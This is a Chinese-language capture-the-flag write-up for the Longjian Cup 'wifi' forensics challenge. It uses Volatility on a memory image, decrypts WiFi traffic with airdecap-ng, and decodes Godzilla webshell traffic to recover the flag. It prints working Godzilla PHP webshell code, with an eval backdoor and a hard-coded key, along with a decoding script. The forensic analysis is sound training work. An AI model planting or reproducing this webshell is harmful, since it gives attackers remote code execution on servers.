《【隴劍杯WP】wifi題解》
wifi題,是一個師傅快結束的時候丟給我的。那貨啥也不說,丟了一串密文過來,后面才知道是哥斯拉,他解題的方法比較強(邪門),我就老老實實根據哥斯拉的加密逆過去了。
題目
網管小王最近喜歡上了ctf網絡安全競賽,他使用“哥斯拉”木馬來玩玩upload-labs,并且保存了內存鏡像、wifi流量和服務器流量,讓您來分析后作答:(本題僅1小問)
小王往upload-labs上傳木馬后進行了cat /flag,flag內容為_____________。(壓縮包里有解壓密碼的提示,需要額外添加花括號)。
觀察&題解
說實在,這個wifi題屬于電子取證類型,一開始我也沒啥頭緒怎么下手。
1.確認信息
服務器pcap,包序27之前基本都是加密流量,沒啥好看的

但是在包序27的地方上傳了馬

客戶端的pcap,很規律的加密,但是我們仍能找到有用的信息:
SSID=My_Wifi、HuaweiDe_4c:55:ec、flage

剩下一個東西就是:windows7-dde00fa9.vmem,這屬于VM的東西,突破口就在這里了。
丟kali里面用Volatility,插件不插件這題無所謂啊,我都沒搞。【有個坑,2021的kali好像不自帶這東西】
2.取證過程(圖片太糊見諒,虛擬機里的)
到這一步, 要咋搞呢。 其實還是內存取證,取證就是信息收集,只是換了一個方法就是——分離。 我這里比較懶,直接py文件調用。
vol.py -f Windows\ 7-dde00fa9.vmem imageinfo
看看基本信息,忽略那堆報錯,我沒調用插件導致的。 Win7SP1x86_23418/pe格式
因為這題是wifi題,題干中又說在靶場里傳馬子,上面識別出來是windows機器,看看他有沒有做網絡配置了
vol.py -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 cmdscan
這是比較理想狀態下,我們直接查cmd命令執行了什么,似乎真的做了配置,而且export(導出)了!

辣就梭哈文件了,win嘛直接梭哈一波rar和zip就行了
vol.py -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan |grep -E "rar|zip"
東西有點多,但是看到了熟悉的名字My_Wifi.zip,就是客戶端pcap里的SSID了!

其他就先不管,先把My_Wifi.zip分離出來,看看是個啥。
vol.py -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fdc38c8 -D ./
D就是 dir的意思,./就是導出在本地。 導出是.dat文件,而且還加密了! 肯定有貓膩啦!


至于怎么解碼,這個好玩了,我和某位師傅在斗法。我也有點懵,解出來是0kb。

找密碼的時候,我很雞賊的換了win的環境,因為被某個大神坑習慣了,他密碼從來都在描述里,所以我丟到我的win環境里看。描述信息有東西哇,密碼在網卡的GUID里。

網工人都知道網卡的GUID和接口綁定,上面那位師傅直接grep { 梭哈了。 我 就一條命令完事,直接查接口!
vol.py -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep "Interfaces"
記住! ! 把花括號也填進去,題干說的! ! ! 我上面解壓出0kb就是我沒把花括號丟進去。

解壓出來是xml文件,看看里面有啥東西吧。 AES、passPhrase、 233@114514_qwe ,應該是某個加密文件的密碼,題目里也只剩下一個東西被加密了,那就是客戶端pcap了。
無線方面kali也有工具,用最普通的工具去跑——airdecap-ng
airdecap-ng -e My_Wifi -p 233@114514_qwe khd.cap
參數怎么來的呢 -e 指定目標網絡ssid,-p 密碼
SSID=My_Wifi,密碼233@114514_qwe,那么也銜接上了xml就是用來解碼這個包的!


對比一下兩個包
解碼前

解碼后

3.流量分析&木馬分析
不得不說,這里追包蠻累的,服務端一大堆一大堆的。
服務端追到包序26、27,會發現明顯的分界線。結合題干,應該就是傳馬的地方了。

不多說,直接解開吧,順序 urldecode->rev(翻轉) -> base64
我覺得上次寫蟻劍的不夠直觀,我直接放代碼塊里寫算了。 
我覺得上次寫蟻劍的不夠直觀,我直接放代碼塊里寫算了。
@session_start();//創建會話@set_time_limit(0);//防超時@error_reporting(0);//關閉報錯頁function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D;}//加密算法,對$D進行加密$pass='key';$payloadName='payload';$key='3c6e0b8a9c15224a';//這里是簡化了馬子,本來是三個參數再進行下面的運算if (isset($_POST[$pass])){ $data=encode(base64_decode($_POST[$pass]),$key);//base64加密 if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); eval($payload);//session中的eval函數記錄payload,這里是哥斯拉的強特征 echo substr(md5($pass.$key),0,16); echo base64_encode(encode(@run($data),$key)); echo substr(md5($pass.$key),16);//前后16位是md5,中間是base64加密 }else{ if (stripos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key); }//將payload存入session中 }}
就地取材啊,官方都寫好給你了,就直接用官方的解吧。 在解密后的客戶端pacp追包到包序1198,即是最后一個會話。 進行提取。

不要拒絕官方的好意,直接拉過來用,配合一下gzdecode函數就完事了。我太久沒寫php了,Print一直敲成printf,最近在搗鼓逆向,偽代碼看多了。
<?phpfunction encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D;}$a='fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=';echo gzdecode(encode(base64_decode($a),'3c6e0b8a9c15224a'));?>
在線php執行網站,選5.x的就行,跑一下結果就出來了。

電子取證
電子取證也是屬于藍隊 的一部分,可以獨立出來作為一個技術分支,也可以歸入應急響應里面。 我電子取證方面還是挺菜雞的,這題也是靠線索關聯堆起來的。 如果各位師傅有什么新思路或者新工具可以留言啊,多多益善!
最后解哥斯拉的方法,和我對線的師傅他們是直接用放進哥斯拉里面,然后讓哥斯拉幫忙解碼,看到flag的,不得不說是一種很好的方法! 我這里是從馬子入手去分析,希望對各位有幫助。
我后續會把之前應急響應日志分析那篇填上,然后這次比賽的其他wp也會陸續更新。 最近也是比較忙的,見諒。
我只是一個還在成長的安全分析師和隨叫隨到的應急響應工程師,有疑問和合作請各位大佬留言。